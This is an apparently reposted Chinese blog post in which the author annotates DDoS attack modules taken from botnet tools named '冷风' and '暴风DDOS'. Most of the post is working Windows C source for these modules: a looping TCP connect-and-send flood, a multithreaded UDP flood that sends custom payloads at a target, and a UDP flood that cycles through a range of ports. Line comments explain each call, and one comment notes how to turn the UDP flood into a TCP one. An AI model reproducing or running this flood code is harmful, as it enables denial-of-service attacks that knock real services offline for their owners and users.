对现有的所能找到的DDOS代码(攻击模块)做出一次分析----自定义攻击篇

来源:互联网 发布:ardupilot3.3源码下载 编辑:程序博客网 时间:2024/05/29 19:13

对现有的所能找到的DDOS代码(攻击模块)做出一次分析----自定义攻击篇

//===================================================

分析者:alalmn—飞龙       BLOG:http://hi.baidu.com/alalmn
分析的不好请各位高手见谅花了几个小时分析的呵呵
自定义攻击
之前有看过TCP 和 UDP 攻击的在看这个自定义攻击就很好理解并不难
就是发送数据换成自己的填写的数据


Maxer TCP   UDP 自定义攻击服务端没有写代码
暴风DDOS TCP   UDP 也就只有界面没写代码




冷风的.h

/************************Define Pack Attack***********************************/ 
//自定义攻击 确定包攻击
unsigned long CALLBACK pack_flood(LPVOID dParam) //DEFPACK攻击
{
SOCKADDR_IN sockAddr;   //IP信息结构
SOCKET m_hSocket;   //套接字
// int nSent;
int nSize = strlen(PackBuffer); //计算数据长度

m_hSocket = socket(PF_INET,SOCK_STREAM,0); //设置IPV几,TCPUDP连接,TCPUDP协议 socket第二个参数为SOCK_DGRAM,就是代表是UDP协议
memset(&sockAddr,0,sizeof(sockAddr));   //内存空间初始化
sockAddr.sin_family = AF_INET; //指代协议族,在socket编程中只能是AF_INET
sockAddr.sin_port=htons(DdosPort); //端口
sockAddr.sin_addr.S_un.S_addr=resolve(DdosUrl);   //IP地址

while(1)
{
   if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
   { //不能连接
    closesocket(m_hSocket);   //关闭SOCKET
    Sleep(100); //延时
    continue;   //跳出本次循环 
   }
   send(m_hSocket,PackBuffer,nSize,0);
   //发送 IP        数据缓冲区 数据长度 执行方式
   closesocket(m_hSocket); //关闭SOCKET
   printf("."); //DOS提示
   Sleep(100); //延时
}
return 1;
}

//======================================================================

暴风DDOSVIP2010-225.h

/*----------------------------------------------------------------------------------------*/
void StartUDP(char ip[30],int port,int mytime,int xc) //UDP(流量)   ANSI字符串 zhwt=1; 说是自定义攻击 攻击个毛啊 都没自定义数据操作
/*----------------------------------------------------------------------------------------*/
void StartSYN(char ip[30],int port,int time,int xc)   //SYN(流量这个也是这样    16进制字符串 zhwt=2;   根本没自定义攻击 都没自定义数据操作
/*----------------------------------------------------------------------------------------*/
void zdyudpattack() //UDP模式    cbao=15; 自定义攻击
{
int zdysize=strlen(zdyBuffer); //计算攻击字符长度
SOCKADDR_IN udpaddr; //IP信息结构

udpaddr.sin_family=AF_INET; //sin_family 地址家族(必须是AF_INET
udpaddr.sin_addr.s_addr=inet_addr(tgtIP); //inet_addrip地址转换成网络地址
udpaddr.sin_port=htons(tgtPort); //攻击端口

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket   socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~

int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项

for (;;)
{
   if(StopFlag == 1) //是否在攻击状态
   {
    ExitThread(0);
    return;
   }
   for(int a=0;a<12;a++)
    sendto(s,zdyBuffer,zdysize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //向一指定目的地发送数据
   Sleep(SleepTime);//暂停(毫秒)
}
closesocket(s); //关闭socket
WSACleanup();
}


void StartZDYUDP(char ip[30],char wr[256],int port,int mytime,int xc) //UDP模式    cbao=15; 自定义攻击
{   //wr是攻击数据

if (inet_addr(ip)== INADDR_NONE)
{
   struct hostent *hp = NULL;
   if ((hp = gethostbyname(ip)) != NULL)
   {
    in_addr in;
    memcpy(&in, hp->h_addr, hp->h_length);
    strcpy(tgtIP,inet_ntoa(in));
   }
}
else
   strcpy(tgtIP,ip);


tgtPort=port;
timeout=mytime;
memset(zdyBuffer,0,sizeof(zdyBuffer));

strcpy(zdyBuffer,wr);   //wr是攻击数据

StopFlag = -1;

for(z=0;z<xc;z++)
{
   h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)zdyudpattack, NULL, 0, NULL);
}
if(timeout!=0)
{
   CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);
}
}
/*----------------------------------------------------------------------------------------*/
StartZDYTCP(msg.addr,msg.zdy,msg.port,msg.time,msg.thread); //TCP模式   cbao=16;   自定义攻击代码没有 其实很简单
//SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket   socket第二个参数为SOCK_DGRAM,就是代表是UDP协议
//只要改下这个参数就变了
/*----------------------------------------------------------------------------------------*/
StartSJLW(msg.addr,msg.port,msg.time,msg.thread,msg.s,msg.s2); //乱舞循环 zbao=24; 没提供代码
/*----------------------------------------------------------------------------------------*/
//s1是随机数   s2应该是结尾
void PortLHUDP() //端口轮回 zbao=23;
{

char senddata[1024];
memset(senddata,'A',1024);
int sendsize=strlen(senddata);

SOCKADDR_IN udpaddr;
for (int i=S1;i<=S2;++i)
{
   udpaddr.sin_family=AF_INET;
   udpaddr.sin_addr.s_addr=inet_addr(tgtIP);
   udpaddr.sin_port=htons(i); //i是循环得到的一个动态端口号

   SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket   socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~

   if(StopFlag==1)
   {
    ExitThread(0);
    return;
   }
   for(int a=0;a<10;a++)
    sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));
   Sleep(SleepTime);
   if(i==S2)
    i=S1;
}
WSACleanup();
}

void StartPortLH(char ip[30],int time,int xc,int s,int s2) //端口轮回 zbao=23;
{
if (inet_addr(ip)== INADDR_NONE)
{
   struct hostent *hp = NULL;
   if ((hp = gethostbyname(ip)) != NULL)
   {
    in_addr in;
    memcpy(&in, hp->h_addr, hp->h_length);
    strcpy(tgtIP,inet_ntoa(in));
   }
}
else
   strcpy(tgtIP,ip);

S1=s;
S2=s2;
timeout=time;
StopFlag = -1;
for(z=0;z<xc;z++)
{
   h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PortLHUDP, NULL, 0, NULL);
}
if(timeout!=0)
{
   CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);
}
}
/*----------------------------------------------------------------------------------------*/

//

0 0
原创粉丝点击